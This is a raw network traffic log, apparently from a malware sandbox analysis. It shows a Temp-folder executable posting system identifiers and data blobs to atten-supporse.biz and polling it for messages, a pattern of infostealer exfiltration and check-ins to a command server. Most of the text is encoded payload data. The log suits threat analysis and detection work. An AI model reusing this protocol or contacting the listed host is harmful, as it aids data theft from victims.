1d20DOCjmSyoogk0BITq+0u6UB/mZVGmI5KXjCRUkYsK6vh3wtW7FpyOK0dhptCPOc81M8QENYQZ9PbgVzG9qXyH2jaGwvVfzY4rUXym0KAwmDVxxF9zw0nw9uBGNfrkeoabZIzE8UnLxmhYaeGPnirQPnaLDTyED7Dy9gZus8ZvnplBgdDyDtWOchZh6sjBads1fYoDNc1L+v/oRzD7+2OMkGSCx/BDwtJlUm7qiZQqmHw9gx9znAGjx+1XJ
2024-12-10 01:51:46 UTC	1369	IN	Data Raw: 58 6d 33 74 6a 59 73 69 30 54 39 77 68 41 6f 35 79 30 4c 77 38 75 52 4d 4f 66 6e 74 5a 59 57 63 62 6f 4b 42 74 51 37 4e 32 43 73 4f 4a 73 57 4e 69 53 37 55 4a 44 2b 2b 52 79 79 4b 57 4c 44 79 34 67 5a 75 73 2b 46 74 69 35 6c 6c 6a 63 4c 7a 52 64 6a 41 65 56 42 72 34 35 71 66 4c 4e 59 34 66 70 59 4e 50 63 4a 43 2b 66 37 6e 51 7a 48 33 71 53 62 49 6e 58 62 43 6d 62 74 76 78 38 74 6e 58 48 48 6d 79 49 5a 6e 77 58 4a 36 69 45 64 72 68 45 58 78 38 65 39 43 4f 50 33 74 5a 49 36 55 59 34 33 48 38 55 37 4e 79 6d 4e 65 5a 2b 75 44 6c 69 6e 64 50 33 6d 43 43 7a 4c 42 41 62 36 31 36 56 35 32 71 36 6c 47 6a 35 6c 38 77 50 54 34 51 4d 54 48 66 52 5a 35 71 4a 48 5a 4c 74 52 79 4a 63 51 4a 4e 73 74 54 38 65 66 72 53 43 54 2f 37 47 36 46 6d 57 43 43 78 50 78 44 78 4d 5a Data Ascii: Xm3tjYsi0T9whAo5y0Lw8uRMOfntZYWcboKBtQ7N2CsOJsWNiS7UJD++RyyKWLDy4gZus+Fti5lljcLzRdjAeVBr45qfLNY4fpYNPcJC+f7nQzH3qSbInXbCmbtvx8tnXHHmyIZnwXJ6iEdrhEXx8e9COP3tZI6UY43H8U7NymNeZ+uDlindP3mCCzLBAb616V52q6lGj5l8wPT4QMTHfRZ5qJHZLtRyJcQJNstT8efrSCT/7G6FmWCCxPxDxMZ
2024-12-10 01:51:46 UTC	1369	IN	Data Raw: 4a 48 5a 4c 74 52 79 4a 63 51 4b 4f 38 46 45 2f 2f 54 6b 53 44 50 35 35 57 43 47 6d 58 79 4e 78 66 74 43 77 73 70 6d 57 47 4c 75 67 5a 49 69 33 6a 4a 38 6a 6b 64 39 68 45 62 6f 74 62 59 47 41 76 54 6c 5a 59 66 59 57 34 48 50 39 55 6e 63 67 48 51 59 66 36 61 50 6c 57 6d 41 63 6e 47 4e 42 7a 6a 4f 52 66 44 79 34 30 4d 31 39 4f 70 6c 6a 35 42 67 68 63 58 33 52 38 66 47 61 31 46 69 34 35 71 63 49 4e 51 2b 50 63 70 48 4e 4e 77 42 71 4c 58 42 51 53 44 77 78 6d 75 5a 6b 79 36 64 6a 2b 49 4f 7a 63 77 72 44 69 62 68 6a 5a 45 69 33 6a 70 39 6c 67 49 39 7a 30 44 36 38 2b 39 4c 4f 76 58 70 61 59 69 63 59 6f 4c 47 2f 46 7a 59 78 57 31 45 62 4b 62 47 32 53 37 41 63 69 58 45 4d 53 50 54 55 4f 61 33 32 30 55 34 2f 65 35 2b 79 49 55 67 6d 34 48 38 51 6f 71 59 4b 31 31 6d Data Ascii: JHZLtRyJcQKO8FE//TkSDP55WCGmXyNxftCwspmWGLugZIi3jJ8jkd9hEbotbYGAvTlZYfYW4HP9UncgHQYf6aPlWmAcnGNBzjORfDy40M19Oplj5BghcX3R8fGa1Fi45qcINQ+PcpHNNwBqLXBQSDwxmuZky6dj+IOzcwrDibhjZEi3jp9lgI9z0D68+9LOvXpaYicYoLG/FzYxW1EbKbG2S7AciXEMSPTUOa320U4/e5+yIUgm4H8QoqYK11m
2024-12-10 01:51:46 UTC	1369	IN	Data Raw: 4c 4b 4d 6e 43 41 43 7a 66 4d 53 76 71 31 6f 41 59 78 36 36 6b 77 79 4b 39 6a 6a 63 48 34 57 49 72 66 4a 55 38 6d 34 59 54 5a 63 5a 67 2b 63 34 51 49 50 38 68 4b 2b 50 54 69 53 44 48 32 34 47 43 41 69 47 2b 47 79 66 70 41 78 63 46 76 55 32 50 69 6a 35 30 76 31 33 49 7a 78 41 41 72 68 42 6d 77 32 73 6c 7a 64 4e 4c 54 4b 4a 66 55 64 38 4c 47 39 77 36 53 67 47 64 56 61 75 36 48 6e 79 44 55 4f 48 53 50 43 7a 6a 41 54 66 6e 77 36 45 63 7a 39 75 68 73 68 4a 42 6f 67 63 4c 30 51 63 58 49 4b 78 67 6d 34 5a 44 5a 63 5a 67 58 61 6f 38 4a 4e 59 52 65 76 75 79 75 51 54 71 7a 73 53 69 45 6b 32 69 45 78 50 64 50 7a 4d 68 75 58 6d 4c 6e 6a 70 38 71 31 7a 5a 34 68 51 67 33 79 45 2f 36 39 4f 39 4b 50 66 7a 69 62 63 6a 55 4c 6f 58 5a 75 78 61 4b 38 57 68 41 63 66 61 45 32 Data Ascii: LKMnCACzfMSvq1oAYx66kwyK9jjcH4WIrfJU8m4YTZcZg+c4QIP8hK+PTiSDH24GCAiG+GyfpAxcFvU2Pij50v13IzxAArhBmw2slzdNLTKJfUd8LG9w6SgGdVau6HnyDUOHSPCzjATfnw6Ecz9uhshJBogcL0QcXIKxgm4ZDZcZgXao8JNYRevuyuQTqzsSiEk2iExPdPzMhuXmLnjp8q1zZ4hQg3yE/69O9KPfzibcjULoXZuxaK8WhAcfaE2
2024-12-10 01:51:46 UTC	1369	IN	Data Raw: 39 67 78 39 7a 6e 41 48 65 2f 76 31 52 4e 66 33 69 66 70 50 61 63 63 7a 59 75 30 6e 47 67 44 4d 57 5a 65 32 44 6e 53 6e 55 4d 6e 6d 4a 42 79 48 4c 52 76 66 38 35 56 51 38 39 4f 35 6a 67 4a 46 68 68 4e 50 33 51 4e 6a 46 65 55 51 6d 71 4d 69 65 4d 5a 68 71 50 62 49 41 49 39 52 43 73 73 54 34 52 53 44 34 35 47 54 49 68 53 43 62 67 66 78 43 69 70 67 72 55 47 6e 76 69 35 59 6f 30 54 35 77 67 51 34 32 78 55 66 30 2f 2b 52 47 4d 50 58 6f 62 59 4b 5a 62 34 6a 49 2f 45 62 4e 77 33 6b 57 4b 4b 61 50 67 57 6d 41 63 6c 53 44 46 54 33 55 41 65 2b 37 39 77 59 78 2f 36 6b 77 79 4a 35 6b 6a 63 58 38 51 73 7a 46 62 56 74 6e 36 59 6d 5a 4a 74 77 35 64 49 49 47 50 73 46 4d 39 4f 66 6b 54 54 6e 2f 34 47 53 46 32 69 44 43 78 75 4d 4f 6b 6f 42 61 57 32 6a 6f 6a 34 39 70 78 33 Data Ascii: 9gx9znAHe/v1RNf3ifpPacczYu0nGgDMWZe2DnSnUMnmJByHLRvf85VQ89O5jgJFhhNP3QNjFeUQmqMieMZhqPbIAI9RCssT4RSD45GTIhSCbgfxCipgrUGnvi5Yo0T5wgQ42xUf0/+RGMPXobYKZb4jI/EbNw3kWKKaPgWmAclSDFT3UAe+79wYx/6kwyJ5kjcX8QszFbVtn6YmZJtw5dIIGPsFM9OfkTTn/4GSF2iDCxuMOkoBaW2joj49px3
2024-12-10 01:51:46 UTC	1369	IN	Data Raw: 50 73 64 48 39 76 37 69 56 44 2f 7a 36 6d 50 49 31 43 36 46 32 62 73 57 69 75 4e 38 51 47 7a 68 68 49 38 69 32 54 46 72 69 52 64 7a 69 67 48 68 38 76 38 47 62 75 58 35 66 34 2b 46 49 4a 75 42 2f 45 4b 4b 6d 43 74 51 62 2b 43 50 6e 79 66 4b 4e 33 75 4c 43 44 72 4e 52 66 6a 32 37 6b 49 79 39 4f 78 72 68 4a 46 70 67 63 37 2f 52 38 54 4a 5a 42 59 6f 70 6f 2b 42 61 59 42 79 58 4a 38 45 50 38 6b 42 37 37 76 33 42 6a 48 2f 71 54 44 49 6c 6d 43 48 77 66 46 49 7a 73 56 74 58 47 50 6d 67 35 6f 6d 33 44 52 35 69 77 63 34 7a 55 44 32 38 4f 52 4e 4d 50 37 71 62 6f 37 61 49 4d 4c 47 34 77 36 53 67 45 74 4e 61 2b 71 50 32 54 61 57 4b 7a 32 44 43 33 4f 63 41 66 76 35 36 6b 45 32 2f 75 70 67 6a 5a 35 6b 68 38 48 7a 58 4d 4c 41 62 45 52 30 35 6f 47 63 4a 64 73 79 65 59 49 Data Ascii: PsdH9v7iVD/z6mPI1C6F2bsWiuN8QGzhhI8i2TFriRdzigHh8v8GbuX5f4+FIJuB/EKKmCtQb+CPnyfKN3uLCDrNRfj27kIy9OxrhJFpgc7/R8TJZBYopo+BaYByXJ8EP8kB77v3BjH/qTDIlmCHwfFIzsVtXGPmg5om3DR5iwc4zUD28ORNMP7qbo7aIMLG4w6SgEtNa+qP2TaWKz2DC3OcAfv56kE2/upgjZ5kh8HzXMLAbER05oGcJdsyeYI
2024-12-10 01:51:46 UTC	261	IN	Data Raw: 76 2f 6b 30 41 5a 75 36 74 63 6f 67 34 78 70 6b 73 4c 74 52 63 66 4d 65 6d 67 6d 76 74 7a 4c 65 34 70 67 4c 35 74 48 4c 50 73 50 73 50 53 75 48 67 2f 71 71 58 37 49 77 6a 7a 4d 67 65 6b 4f 6b 6f 41 73 56 58 54 30 6a 70 6f 2f 32 33 56 44 75 69 41 6c 7a 6b 62 67 38 76 6c 4a 64 72 32 70 5a 38 6a 43 56 38 4c 49 2f 46 58 62 31 6d 5a 47 59 61 61 33 31 32 6e 41 63 69 58 45 4d 6a 44 4b 54 2f 66 6a 2f 77 73 52 35 65 4e 76 6d 4a 31 35 6a 59 47 31 44 73 79 41 4d 77 55 6f 70 6f 79 49 61 59 42 69 4c 39 39 53 59 4a 4d 52 6f 75 71 67 58 33 62 6c 71 54 44 61 31 43 36 51 67 61 4d 4f 6a 63 4e 35 52 47 44 6c 6e 70 70 75 35 67 78 61 6e 67 6f 31 30 31 44 4f 79 2b 6c 63 4f 2f 58 2b 65 63 53 50 62 59 7a 50 2f 46 69 4b 6a 69 74 5a 4a 72 36 78 32 57 47 59 44 54 50 45 48 33 4f 63 Data Ascii: v/k0AZu6tcog4xpksLtRcfMemgmvtzLe4pgL5tHLPsPsPSuHg/qqX7IwjzMgekOkoAsVXT0jpo/23VDuiAlzkbg8vlJdr2pZ8jCV8LI/FXb1mZGYaa312nAciXEMjDKT/fj/wsR5eNvmJ15jYG1DsyAMwUopoyIaYBiL99SYJMRouqgX3blqTDa1C6QgaMOjcN5RGDlnppu5gxango101DOy+lcO/X+ecSPbYzP/FiKjitZJr6x2WGYDTPEH3Oc
2024-12-10 01:51:46 UTC	1369	IN	Data Raw: 32 31 33 30 0d 0a 34 45 67 78 35 66 67 6c 72 34 42 6a 68 4e 62 71 44 6f 53 41 62 52 59 2b 74 73 62 5a 4c 63 6c 79 4a 64 52 56 61 4a 45 53 70 36 57 38 57 58 6a 71 71 58 37 49 77 6a 7a 4d 67 65 6b 4f 6b 6f 41 73 56 58 54 30 6a 70 6f 2f 32 33 56 44 75 69 6b 30 77 6b 54 33 35 61 78 6f 50 65 66 75 4b 4d 62 61 59 63 4b 5a 77 67 36 43 67 46 51 59 4a 76 37 49 77 57 6e 74 4d 58 4f 4b 41 43 58 56 44 4e 37 79 36 45 4d 78 34 36 74 47 67 34 35 70 77 6f 2b 37 53 49 71 59 4f 78 67 6d 34 70 6e 5a 63 59 68 67 4a 74 46 55 5a 4a 51 54 37 37 76 33 42 69 43 7a 73 54 72 47 32 6e 7a 43 6d 62 73 4a 79 64 4a 35 55 47 58 77 69 39 34 58 35 6a 46 72 69 51 67 34 78 58 2f 4f 32 2b 4e 48 4e 66 32 72 57 5a 36 58 66 6f 48 45 2f 48 44 30 7a 6d 78 43 59 65 69 4f 6d 57 6d 57 63 6e 4c 45 58 Data Ascii: 21304Egx5fglr4BjhNbqDoSAbRY+tsbZLclyJdRVaJESp6W8WXjqqX7IwjzMgekOkoAsVXT0jpo/23VDuik0wkT35axoPefuKMbaYcKZwg6CgFQYJv7IwWntMXOKACXVDN7y6EMx46tGg45pwo+7SIqYOxgm4pnZcYhgJtFUZJQT77v3BiCzsTrG2nzCmbsJydJ5UGXwi94X5jFriQg4xX/O2+NHNf2rWZ6XfoHE/HD0zmxCYeiOmWmWcnLEX
2024-12-10 01:51:46 UTC	1369	IN	Data Raw: 30 35 4b 34 65 5a 71 47 79 50 64 76 4e 50 74 44 65 74 56 65 4b 31 69 73 4f 4e 4b 6a 49 69 32 6d 41 63 6a 71 48 46 53 48 43 51 75 62 32 71 58 67 49 31 4f 64 76 69 59 78 2b 6a 38 33 61 54 64 76 4b 56 57 68 7a 35 59 61 58 4c 73 34 6a 50 63 70 48 50 49 51 5a 79 62 57 6d 42 67 6d 39 71 58 44 49 77 69 36 33 77 76 56 41 7a 64 5a 36 47 30 48 6f 6a 35 67 2f 79 44 39 78 70 51 51 69 7a 67 47 2b 74 65 67 47 62 71 47 6e 4b 49 79 4c 4c 74 71 52 71 52 57 66 6b 7a 77 47 4e 50 6e 47 67 47 6e 4f 63 69 58 57 53 58 50 57 41 61 69 31 71 55 55 6b 34 65 39 72 6e 70 6b 70 76 50 2f 65 57 63 6e 51 62 56 56 59 32 4b 4f 56 4c 39 38 6f 65 6f 49 68 45 34 51 50 73 50 71 75 48 67 2b 7a 6f 53 69 33 31 43 36 61 67 61 4d 4f 2f 38 4e 6c 57 47 48 77 6d 64 51 4d 7a 7a 46 74 67 67 52 7a 69 67 Data Ascii: 05K4eZqGyPdvNPtDetVeK1isONKjIi2mAcjqHFSHCQub2qXgI1OdviYx+j83aTdvKVWhz5YaXLs4jPcpHPIQZybWmBgm9qXDIwi63wvVAzdZ6G0Hoj5g/yD9xpQQizgG+tegGbqGnKIyLLtqRqRWfkzwGNPnGgGnOciXWSXPWAai1qUUk4e9rnpkpvP/eWcnQbVVY2KOVL98oeoIhE4QPsPquHg+zoSi31C6agaMO/8NlWGHwmdQMzzFtggRzig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49968	104.21.16.1	443	5080	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:49 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6V6R6E05TMZ9Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12811 Host: atten-supporse.biz
2024-12-10 01:51:49 UTC	12811	OUT	Data Raw: 2d 2d 36 56 36 52 36 45 30 35 54 4d 5a 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 36 56 36 52 36 45 30 35 54 4d 5a 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 56 36 52 36 45 30 35 54 4d 5a 39 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 56 36 52 36 Data Ascii: --6V6R6E05TMZ9ZContent-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--6V6R6E05TMZ9ZContent-Disposition: form-data; name="pid"2--6V6R6E05TMZ9ZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--6V6R6
2024-12-10 01:51:50 UTC	1026	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=33cargved0leh28naa0sl5bmrm; expires=Fri, 04-Apr-2025 19:38:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NGKlr%2FXGr8NJW%2FKt1giPsVBMfX1nh%2BxUJEU5eDDNVZWlrjukxoqxiGRlyVTHGVpFP%2FI3VZYW3Moz2TYiOQHVYJli%2F5C%2BKlBkYAwx5gVoSyf9w6KsgQq4an1UiULGLcUuR3ELL34%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9978daffa8cd7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1816&min_rtt=1814&rtt_var=684&sent=14&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13748&delivery_rate=1593886&cwnd=237&unsent_bytes=0&cid=a44c278d72fd3398&ts=1880&x=0"
2024-12-10 01:51:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:51:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49979	104.21.16.1	443	6568	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:51 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-10 01:51:51 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=9087ECAAC2A7A4A123D904AF30EFEBBC
2024-12-10 01:51:52 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=etnaesojrh2couoprq0snpfvka; expires=Fri, 04-Apr-2025 19:38:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vnxL90t3CYxsrexCOyMoUpp5xcEUcuyN9fRBm0lTQD4%2Fqyxb7i0ExTV0s9jGTyNb59MfQWCfPMvDcRbRjP5AoR%2Fv3bjcN3RyJyMlAgSRipexfx5GhGHKQuIA7ToeBC07f2Pttgg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9979e198141c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2646&min_rtt=1596&rtt_var=1348&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1829573&cwnd=205&unsent_bytes=0&cid=3519789cb31e0ca4&ts=626&x=0"
2024-12-10 01:51:52 UTC	214	IN	Data Raw: 64 30 0d 0a 63 2f 76 69 69 76 74 69 42 41 2b 69 58 30 4b 72 37 70 4c 73 75 44 55 33 45 76 66 55 4c 43 34 35 43 78 44 45 75 68 36 68 53 6e 55 6f 67 4d 44 2f 32 56 67 6d 5a 39 59 72 4d 70 47 79 76 62 43 58 42 41 38 6e 32 65 59 64 47 78 63 36 49 66 65 55 4c 35 63 57 57 68 79 64 68 4e 62 55 42 6d 46 70 6a 44 6f 36 7a 73 79 2b 7a 74 35 42 46 53 6a 48 2b 41 35 4c 47 7a 45 68 75 5a 5a 6c 67 7a 39 58 53 64 6d 4b 2f 6f 38 53 50 6c 4f 4e 41 32 32 61 31 71 66 43 69 67 51 43 50 4d 62 6c 48 77 41 49 50 55 7a 72 79 57 72 45 4b 78 67 76 31 4a 44 72 6c 51 5a 72 59 6f 77 36 4f 73 37 4d 76 73 37 65 51 52 55 6f 78 2f 67 4f 53 78 73 78 49 4c 6e 6e 0d 0a Data Ascii: d0c/viivtiBA+iX0Kr7pLsuDU3EvfULC45CxDEuh6hSnUogMD/2VgmZ9YrMpGyvbCXBA8n2eYdGxc6IfeUL5cWWhydhNbUBmFpjDo6zsy+zt5BFSjH+A5LGzEhuZZlgz9XSdmK/o8SPlONA22a1qfCigQCPMblHwAIPUzryWrEKxgv1JDrlQZrYow6Os7Mvs7eQRUox/gOSxsxILnn
2024-12-10 01:51:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49992	104.21.16.1	443	5080	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:54 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SIH5PXNWBENLKT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15059 Host: atten-supporse.biz
2024-12-10 01:51:54 UTC	15059	OUT	Data Raw: 2d 2d 53 49 48 35 50 58 4e 57 42 45 4e 4c 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 53 49 48 35 50 58 4e 57 42 45 4e 4c 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 49 48 35 50 58 4e 57 42 45 4e 4c 4b 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 53 49 Data Ascii: --SIH5PXNWBENLKTContent-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--SIH5PXNWBENLKTContent-Disposition: form-data; name="pid"2--SIH5PXNWBENLKTContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--SI
2024-12-10 01:51:55 UTC	1032	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hnuhr7lqfofdqf2u6fsdtujlcf; expires=Fri, 04-Apr-2025 19:38:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wUY9%2F0%2F1bJDu%2FcdEUfzaah2WhQxAOAjIQ%2B86Pkl2S%2FPdYVPWn%2FlhmfwGLb2Xf7fAdO%2Bn7AGfQi36yB6WQ%2FqZj0gGqFiBkbctVGS5Y%2BQpQG6QLExnzjl4DVykNBKaMdmJ3%2Bo1hgY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef997ae3b1cde96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1455&min_rtt=1445&rtt_var=562&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=15997&delivery_rate=1914754&cwnd=221&unsent_bytes=0&cid=5a5578046c11bc7b&ts=940&x=0"
2024-12-10 01:51:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:51:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50001	104.21.16.1	443	5080	C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:57 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BO9APS7RR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20519 Host: atten-supporse.biz
2024-12-10 01:51:57 UTC	15331	OUT	Data Raw: 2d 2d 42 4f 39 41 50 53 37 52 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 38 37 45 43 41 41 43 32 41 37 41 34 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 42 4f 39 41 50 53 37 52 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 4f 39 41 50 53 37 52 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 4f 39 41 50 53 37 52 52 0d 0a 43 6f 6e 74 65 6e Data Ascii: --BO9APS7RRContent-Disposition: form-data; name="hwid"9087ECAAC2A7A4A123D904AF30EFEBBC--BO9APS7RRContent-Disposition: form-data; name="pid"3--BO9APS7RRContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--BO9APS7RRConten
2024-12-10 01:51:57 UTC	5188	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
